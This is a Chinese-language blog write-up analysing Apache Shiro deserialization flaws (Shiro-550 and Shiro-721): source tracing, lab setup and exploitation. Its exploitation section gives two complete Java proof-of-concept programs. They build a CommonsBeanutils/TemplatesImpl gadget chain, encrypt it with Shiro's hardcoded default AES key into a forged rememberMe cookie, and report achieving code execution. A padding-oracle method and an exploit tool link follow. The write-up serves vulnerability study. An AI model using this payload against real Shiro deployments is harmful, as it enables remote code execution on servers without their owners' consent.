shiro 反序列化漏洞
shiro 反序列化漏洞
Shiro-550
漏洞原理
影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段。
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。这里面比较重要的就是搞到 AES 加密的密钥。
而在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,如果没有更改默认密码,攻击者就可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。
环境搭建
分别下载
shiro 下载地址:https://github.com/jas502n/SHIRO-550(下载对应war包即可)
shiro 源码下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
tomcat 配置,
然后选择下载的 shiro war 包
在项目中也需要更改为 jdk1.7 版本。
最后运行访问端口。
参考:https://blog.csdn.net/qq_44769520/article/details/123476443
漏洞分析
rememberMe 生成
登录抓包,看见在成功登录后给了一个 set-cookie,
回到源码看看这串 cookie 是怎么生成的,全局搜索 cookie 相关处理的类,发现了 CookieRememberMeMananger 类,分析该类的方法,发现方法 rememberSerializedIdentity
就是生成 cookie 的函数,不过这里只能看到把 serialized 进行了 base64 编码
发现其在函数 AbstractRememberMeManager#rememberIdentity
调用,
跟进看到调用了函数 convertPrincipalsToBytes
对 cookie 数据进行加密,
来到 convertPrincipalsToBytes
函数,首先进行了序列化,然后进行加密,
加密的话就是个 AES 加密,看一下其 key 是通过 getEncryptionCipherKey
函数来的,
而这个函数其实就是返回了个常量,所以现在要找谁给常量 encryptionCipherKey
赋了值。
找到函数 setCipherKey
,其调用的 setEncryptionCipherKey
和 setDecryptionCipherKey
就是分别给加密和解密设置 key
继续朔源看谁调用了 setCipherKey
函数,发现在构造函数中
常量 DEFAULT_CIPHER_KEY_BYTES
就是默认设置的加密 key 了。
至此生成 cookie 的大概过程就清楚了就是序列化+AES 加密+base64 编码。
rememberMe 解密
现在来看看是如何获取 cookie 并进行反序列化的,找到其 base64 解码对应方法
同样查找谁调用了该方法,在 AbstractRememberMeManager#getRememberedPrincipals
,
这里就是先调用 getRememberedSerializedIdentity
函数进行 base64 解码后在调用 convertBytesToPrincipals
进行 AES 解密和反序列化,
漏洞利用
知道存在反序列化,那么 payload 生成也就是序列化恶意 poc+AES 加密+base64 加密,然后就可以进行攻击了。这里 shiro 是自带 cb 链的,
构造 poc,
package org.apache.shiro.web;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class shiroCBtest {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
PriorityQueue queue = new PriorityQueue(1);
BeanComparator comparator = new BeanComparator("outputProperties");
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
String data = serilize(queue);
byte[] originalText = Base64.decode(data);
// 加密
String encryptedText = encrypt(originalText, SECRET_KEY);
System.out.println("Encrypted: " + encryptedText);
}
public static String encrypt(byte[] data, String secret) throws Exception {
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(data, key);
return ciphertext.toString();
}
public static String serilize(Object obj)throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout=new ObjectOutputStream(out);
objout.writeObject(obj);
byte[] ObjectBytes = out.toByteArray();
String base64EncodedValue = Base64.encodeToString(ObjectBytes);
return base64EncodedValue;
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
抓包替换 rememberMe 字段,发包后报错,显示报错和 cc 有关
后面看了组长的视频知道是因为没有 cc 依赖,而 cb 中的 BeanComparator 类构造函数引用了 cc 中的类 ComparableComparator
。
可以用它的另一个构造函数,只不过这里需要找一个继承了 Comparator
接口并且继承 Serializable
接口的类,
发现 AttrCompare
类就满足条件。
所以重新构造
package org.apache.shiro.web;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class shiroCBtest {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/yusi.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
PriorityQueue queue = new PriorityQueue(1);
BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
String data = serilize(queue);
byte[] originalText = Base64.decode(data);
// 加密
String encryptedText = encrypt(originalText, SECRET_KEY);
System.out.println("Encrypted: " + encryptedText);
}
public static String encrypt(byte[] data, String secret) throws Exception {
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(data, key);
return ciphertext.toString();
}
public static String serilize(Object obj)throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout=new ObjectOutputStream(out);
objout.writeObject(obj);
byte[] ObjectBytes = out.toByteArray();
String base64EncodedValue = Base64.encodeToString(ObjectBytes);
return base64EncodedValue;
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
emm,用 jdk17 来编译 class 文件。最后弹出计算机
Shiro721
漏洞原理
影响版本:Apache Shiro <= 1.4.1
漏洞特征:响应包中包含字段remember=deleteMe字段
Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。
这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。
环境搭建
参考:https://github.com/inspiringz/Shiro-721
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1
然后在执行下面命令编译 war 包
cd samples/web
mvn install
配置 tomcat 和上面一样,只不过 jre 版本改为 1.8,webapps 目录下面选择该 war 包。然后运行结果如下
漏洞分析
其他地方其实和 shiro550 没什么差别,就是在对序列化内容进行编码有所改变,shiro550 是通过固定密钥来进行的加密,其设置密钥函数
而 shiro721 中则是通过动态来生成的密钥,
跟进函数 generateNewKey
看看密钥是怎么生成的。
初始化了 keyBitSize
对象,这里是获得一个随机数发生器SecureRandom
然后调用了 generateKey()函数
最后 getEncoded 获得了 16 位随机密钥。
但是由于加密用的是 AES-128-CBC 加密模式,可以利用 CBC 翻转进行绕过。
漏洞利用
这里需要利用差异性响应来逐个解密密文中的块,所以这里需要来看解密的不同响应,
- 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)
也就是前面看到的Set-Cookie: rememberMe=deleteMe
- 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
- 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)
其实总结就是
- Padding正确,服务器正常响应
- Padding错误,服务器返回
Set-Cookie: rememberMe=deleteMe
这里就直接利用工具进行构造了,工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated